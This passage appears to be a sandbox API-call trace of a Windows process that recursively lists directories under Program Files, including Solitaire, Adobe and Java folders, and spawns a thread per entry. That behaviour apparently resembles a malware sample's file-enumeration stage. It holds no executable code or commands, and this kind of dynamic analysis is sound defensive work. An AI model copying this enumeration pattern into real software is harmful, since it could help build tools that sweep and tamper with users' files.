	[0077.027] FindNextFileW (in: hFindFile=0x2d71480, lpFindFileData=0x2dc0ba0 | out: lpFindFileData=0x2dc0ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3925d50d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3925d50d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3925d50d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x538, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0077.027] FindClose (in: hFindFile=0x2d71480 | out: hFindFile=0x2d71480) returned 1
	[0077.027] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc0ba0) returned 1
	[0077.027] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8a108) returned 1
	[0077.027] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8a010) returned 1

Thread:
	id = 281
	os_tid = 0x12c4

	[0076.804] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x4f48e48
	[0076.804] wcscpy (in: _Dest=0x4f48e48, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe"
	[0076.804] wcscat (in: _Dest=0x4f48e48, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\"
	[0076.804] wcscat (in: _Dest=0x4f48e48, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\*"
	[0076.804] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e142f8
	[0076.804] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x2e142f8 | out: lpFindFileData=0x2e142f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33798b5a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc96c435e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96c435e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad0b8
	[0078.777] wcscmp (_String1=".", _String2=".") returned 0
	[0078.777] FindNextFileW (in: hFindFile=0x2dad0b8, lpFindFileData=0x2e142f8 | out: lpFindFileData=0x2e142f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33798b5a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc96c435e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96c435e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.777] wcscmp (_String1="..", _String2=".") returned 1
	[0078.777] wcscmp (_String1="..", _String2="..") returned 0
	[0078.777] FindNextFileW (in: hFindFile=0x2dad0b8, lpFindFileData=0x2e142f8 | out: lpFindFileData=0x2e142f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3387d97b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3387d97b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3387d97b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0078.777] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0078.777] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0078.777] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4766410
	[0078.777] wcscpy (in: _Dest=0x4766410, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe"
	[0078.777] wcscat (in: _Dest=0x4766410, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.777] wcscat (in: _Dest=0x4766410, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0078.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4766410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864
	[0078.939] FindNextFileW (in: hFindFile=0x2dad0b8, lpFindFileData=0x2e142f8 | out: lpFindFileData=0x2e142f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33798b5a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabec308c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33798b5a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0078.939] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0078.939] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0078.939] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x4752358
	[0078.939] wcscpy (in: _Dest=0x4752358, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe"
	[0078.939] wcscat (in: _Dest=0x4752358, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.939] wcscat (in: _Dest=0x4752358, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0078.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4752358, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeec
	[0078.940] FindNextFileW (in: hFindFile=0x2dad0b8, lpFindFileData=0x2e142f8 | out: lpFindFileData=0x2e142f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3387d97b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3387d97b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3387d97b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x295a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0078.940] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0078.940] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0078.940] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4766710
	[0078.940] wcscpy (in: _Dest=0x4766710, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe"
	[0078.940] wcscat (in: _Dest=0x4766710, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.940] wcscat (in: _Dest=0x4766710, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0078.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4766710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xef0
	[0078.940] FindNextFileW (in: hFindFile=0x2dad0b8, lpFindFileData=0x2e142f8 | out: lpFindFileData=0x2e142f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc96c435e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc96c435e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96c435e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0078.940] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0078.941] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0078.941] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x114) returned 0x4771f58
	[0078.941] wcscpy (in: _Dest=0x4771f58, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe"
	[0078.941] wcscat (in: _Dest=0x4771f58, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.941] wcscat (in: _Dest=0x4771f58, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0078.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4771f58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xef4
	[0078.941] FindNextFileW (in: hFindFile=0x2dad0b8, lpFindFileData=0x2e142f8 | out: lpFindFileData=0x2e142f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc96c435e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc96c435e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96c435e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0078.941] FindClose (in: hFindFile=0x2dad0b8 | out: hFindFile=0x2dad0b8) returned 1
	[0078.942] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e142f8) returned 1
	[0078.942] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f48e48) returned 1
	[0078.942] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6f210) returned 1

Thread:
	id = 282
	os_tid = 0x1114

	[0076.805] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2d77b40
	[0076.805] wcscpy (in: _Dest=0x2d77b40, _Source="C:\\Program Files (x86)\\Common Files\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe"
	[0076.805] wcscat (in: _Dest=0x2d77b40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\"
	[0076.805] wcscat (in: _Dest=0x2d77b40, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\*"
	[0076.805] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e15fd8
	[0076.805] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\*", lpFindFileData=0x2e15fd8 | out: lpFindFileData=0x2e15fd8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb39c720, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71500
	[0076.806] wcscmp (_String1=".", _String2=".") returned 0
	[0076.806] FindNextFileW (in: hFindFile=0x2d71500, lpFindFileData=0x2e15fd8 | out: lpFindFileData=0x2e15fd8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb39c720, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.806] wcscmp (_String1="..", _String2=".") returned 1
	[0076.806] wcscmp (_String1="..", _String2="..") returned 0
	[0076.806] FindNextFileW (in: hFindFile=0x2d71500, lpFindFileData=0x2e15fd8 | out: lpFindFileData=0x2e15fd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33bf1c6c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33bf1c6c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0076.806] wcscmp (_String1="Acrobat", _String2=".") returned 1
	[0076.806] wcscmp (_String1="Acrobat", _String2="..") returned 1
	[0076.806] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x2e17ea8
	[0076.806] wcscpy (in: _Dest=0x2e17ea8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe"
	[0076.806] wcscat (in: _Dest=0x2e17ea8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\"
	[0076.806] wcscat (in: _Dest=0x2e17ea8, _Source="Acrobat" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat"
	[0077.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e17ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa1c
	[0077.018] FindNextFileW (in: hFindFile=0x2d71500, lpFindFileData=0x2e15fd8 | out: lpFindFileData=0x2e15fd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33e07dd6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33e07dd6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1
	[0077.018] wcscmp (_String1="ARM", _String2=".") returned 1
	[0077.018] wcscmp (_String1="ARM", _String2="..") returned 1
	[0077.018] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5c) returned 0x4734020
	[0077.018] wcscpy (in: _Dest=0x4734020, _Source="C:\\Program Files (x86)\\Common Files\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe"
	[0077.018] wcscat (in: _Dest=0x4734020, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\"
	[0077.018] wcscat (in: _Dest=0x4734020, _Source="ARM" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM"
	[0077.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4734020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xabc
	[0077.019] FindNextFileW (in: hFindFile=0x2d71500, lpFindFileData=0x2e15fd8 | out: lpFindFileData=0x2e15fd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpCfg", cAlternateFileName="")) returned 1
	[0077.019] wcscmp (_String1="HelpCfg", _String2=".") returned 1
	[0077.019] wcscmp (_String1="HelpCfg", _String2="..") returned 1
	[0077.019] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x2e17dc8
	[0077.019] wcscpy (in: _Dest=0x2e17dc8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe"
	[0077.019] wcscat (in: _Dest=0x2e17dc8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\"
	[0077.019] wcscat (in: _Dest=0x2e17dc8, _Source="HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg"
	[0077.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e17dc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac0
	[0077.020] FindNextFileW (in: hFindFile=0x2d71500, lpFindFileData=0x2e15fd8 | out: lpFindFileData=0x2e15fd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader", cAlternateFileName="")) returned 1
	[0077.020] wcscmp (_String1="Reader", _String2=".") returned 1
	[0077.020] wcscmp (_String1="Reader", _String2="..") returned 1
	[0077.020] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x2e178f8
	[0077.020] wcscpy (in: _Dest=0x2e178f8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe"
	[0077.020] wcscat (in: _Dest=0x2e178f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\"
	[0077.020] wcscat (in: _Dest=0x2e178f8, _Source="Reader" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader"
	[0077.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e178f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac4
	[0077.021] FindNextFileW (in: hFindFile=0x2d71500, lpFindFileData=0x2e15fd8 | out: lpFindFileData=0x2e15fd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader", cAlternateFileName="")) returned 0
	[0077.021] FindClose (in: hFindFile=0x2d71500 | out: hFindFile=0x2d71500) returned 1
	[0077.021] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e15fd8) returned 1
	[0077.021] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77b40) returned 1
	[0077.021] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77660) returned 1

Thread:
	id = 283
	os_tid = 0xfc8

	[0076.807] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2d77540
	[0076.807] wcscpy (in: _Dest=0x2d77540, _Source="C:\\Program Files (x86)\\Common Files\\Java" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java") returned="C:\\Program Files (x86)\\Common Files\\Java"
	[0076.807] wcscat (in: _Dest=0x2d77540, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\"
	[0076.807] wcscat (in: _Dest=0x2d77540, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\*") returned="C:\\Program Files (x86)\\Common Files\\Java\\*"
	[0076.807] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e16240
	[0076.807] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\*", lpFindFileData=0x2e16240 | out: lpFindFileData=0x2e16240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2fbfbb9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb2fe5e18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb2fe5e18, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71540
	[0076.807] wcscmp (_String1=".", _String2=".") returned 0
	[0076.807] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2e16240 | out: lpFindFileData=0x2e16240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2fbfbb9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb2fe5e18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb2fe5e18, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.810] wcscmp (_String1="..", _String2=".") returned 1
	[0076.810] wcscmp (_String1="..", _String2="..") returned 0
	[0076.810] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2e16240 | out: lpFindFileData=0x2e16240*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xb2fe5e18, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xbb68653c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb300c058, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 1
	[0076.810] wcscmp (_String1="Java Update", _String2=".") returned 1
	[0076.810] wcscmp (_String1="Java Update", _String2="..") returned 1
	[0076.810] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2e03fa0
	[0076.810] wcscpy (in: _Dest=0x2e03fa0, _Source="C:\\Program Files (x86)\\Common Files\\Java" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java") returned="C:\\Program Files (x86)\\Common Files\\Java"
	[0076.810] wcscat (in: _Dest=0x2e03fa0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\"
	[0076.810] wcscat (in: _Dest=0x2e03fa0, _Source="Java Update" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update"
	[0077.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e03fa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa20
